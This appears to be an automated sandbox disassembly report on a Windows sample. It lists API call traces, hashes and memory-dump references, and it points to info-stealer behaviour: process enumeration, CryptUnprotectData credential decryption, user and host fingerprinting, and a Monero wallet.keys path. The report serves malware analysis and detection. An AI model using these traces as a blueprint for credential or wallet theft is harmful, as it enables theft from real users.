Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 1c5dff71e04a6565eb9356f6fb1e41a80f4bff38dd7453c6f1c34a156d45f807
Instruction ID: f07d94e0e96eead6ebce998737d1e10b6316090a57a27bba65bffe50d1bcdb76
Opcode Fuzzy Hash: 1c5dff71e04a6565eb9356f6fb1e41a80f4bff38dd7453c6f1c34a156d45f807
Instruction Fuzzy Hash: A7126176A111189BDB14FB70DE96EED7338AF64310F4045A9B50A96091EF306FCACF92

Function 00A19600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A1961E
Process32First.KERNEL32(00A20ACA,00000128), ref: 00A19632
Process32Next.KERNEL32(00A20ACA,00000128), ref: 00A19647
StrCmpCA.SHLWAPI(?,00000000), ref: 00A1965C
CloseHandle.KERNEL32(00A20ACA), ref: 00A1967A

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: bbaa77b2d35296c3a563847128c64d2fb55d1c1ccfb1bae0315b82814ea2774f
Instruction ID: 2fc2d355e7f65ac6d530285014ab8b1958b4bc32803c3ae4b53fbeec61158465
Opcode Fuzzy Hash: bbaa77b2d35296c3a563847128c64d2fb55d1c1ccfb1bae0315b82814ea2774f
Instruction Fuzzy Hash: 15011279A40208EBCB14DFA5CD54BDEB7F9FB48700F104188A90597290D7349F80CF61

Function 00A18680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A205B7), ref: 00A186CA
Process32First.KERNEL32(?,00000128), ref: 00A186DE
Process32Next.KERNEL32(?,00000128), ref: 00A186F3

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

CloseHandle.KERNEL32(?), ref: 00A18761

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 1a4c37b04f740ca0d1dff21e73f36e8b9f2cfaf8304419455c3abac32e32da1e
Instruction ID: bec1082924bf1f7694c9eaff7b67040269da3de489d84a4709c7e233211881ea
Opcode Fuzzy Hash: 1a4c37b04f740ca0d1dff21e73f36e8b9f2cfaf8304419455c3abac32e32da1e
Instruction Fuzzy Hash: 6C316872902218ABCB24EF54DE41FEEB778FF55710F1045A9F50AA21A0DF346A85CFA1

Function 00A17A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,010BE278,00000000,?,00A20E10,00000000,?,00000000,00000000), ref: 00A17A63
RtlAllocateHeap.NTDLL(00000000), ref: 00A17A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,010BE278,00000000,?,00A20E10,00000000,?,00000000,00000000,?), ref: 00A17A7D
wsprintfA.USER32 ref: 00A17AB7

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: cbb97650cd0ea1ab0185e9dbb458a059a2e66956ba38f3fb91c792f2a1c216d8
Instruction ID: ba555d664dbee11d67e2d27e04bc840575d73ce4a2e1b6ef0863beca7b606551
Opcode Fuzzy Hash: cbb97650cd0ea1ab0185e9dbb458a059a2e66956ba38f3fb91c792f2a1c216d8
Instruction Fuzzy Hash: 09115EB1945228EBEB208B54DC49FAEB7B8FB05761F10479AF91AA32C0D7745A80CF51

Function 00A09B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A09B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A09BA3
LocalFree.KERNEL32(?), ref: 00A09BD3

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: f2adc5c2b80c1ce79670b0f2af8164d2315a0061282f102b1d99a8041bd59cd1
Instruction ID: cd026c0692c2651a3e24bb4020d675ea3e067b50945a34de85aeff7aabdf11a5
Opcode Fuzzy Hash: f2adc5c2b80c1ce79670b0f2af8164d2315a0061282f102b1d99a8041bd59cd1
Instruction Fuzzy Hash: 0C11C9B8A00209EFDB04DF94D985AAEB7B9FF89304F104598E915A7390D774AE10CFA1

Function 00A178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17910
RtlAllocateHeap.NTDLL(00000000), ref: 00A17917
GetComputerNameA.KERNEL32(?,00000104), ref: 00A1792F

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 03c5dd5a793ade19cd55a177671d31d642de4603b79b7ec6d5d78cdea6c787a9
Instruction ID: e47b7a3bb08e887bf1db22b35d02f5e570786f94853aa92285a6461a0ca953b7
Opcode Fuzzy Hash: 03c5dd5a793ade19cd55a177671d31d642de4603b79b7ec6d5d78cdea6c787a9
Instruction Fuzzy Hash: 4301A4B1A48208EFC740DF98DD45FAEBBB8FB05B21F10426AFA55E32C0C37459448BA1

Function 00A17850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A011B7), ref: 00A17880
RtlAllocateHeap.NTDLL(00000000), ref: 00A17887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A1789F

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 61ea9b60d241b52cccc16f9ae3f623cafd7fdc67548c9d9acbdcbd9f8c6ec4ae
Instruction ID: e1f5d54d1ca390ceb5d20aa19d842b3702f0e7e65dcea7314db9a480d71c1c1f
Opcode Fuzzy Hash: 61ea9b60d241b52cccc16f9ae3f623cafd7fdc67548c9d9acbdcbd9f8c6ec4ae
Instruction Fuzzy Hash: E6F04FB5944208ABC710DF98DD49BAEBBB8FB05721F10065AFA05A2680C77415448BA1

Function 00A01160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00A0116A
ExitProcess.KERNEL32 ref: 00A0117E

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 1b9e4f82ad72d7246f936c9e064f4f9339379becdcaf08b3f037e2d398dbbe2d
Instruction ID: d856c357dec826868b3978a665e0428365997103db7c6db1ee0db25e33e199f1
Opcode Fuzzy Hash: 1b9e4f82ad72d7246f936c9e064f4f9339379becdcaf08b3f037e2d398dbbe2d
Instruction Fuzzy Hash: 49D05E78D4030CDBCB14DFE0D8497DDBB78FB0D311F000658E90562340EA306481CAA6

Function 00A19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,010A59F0), ref: 00A19C2D
GetProcAddress.KERNEL32(74DD0000,010A5910), ref: 00A19C45
GetProcAddress.KERNEL32(74DD0000,010B96D0), ref: 00A19C5E
GetProcAddress.KERNEL32(74DD0000,010B9628), ref: 00A19C76
GetProcAddress.KERNEL32(74DD0000,010B9670), ref: 00A19C8E
GetProcAddress.KERNEL32(74DD0000,010B9640), ref: 00A19CA7
GetProcAddress.KERNEL32(74DD0000,010ABBF8), ref: 00A19CBF
GetProcAddress.KERNEL32(74DD0000,010BCE28), ref: 00A19CD7
GetProcAddress.KERNEL32(74DD0000,010BCE10), ref: 00A19CF0
GetProcAddress.KERNEL32(74DD0000,010BCF60), ref: 00A19D08
GetProcAddress.KERNEL32(74DD0000,010BCEA0), ref: 00A19D20
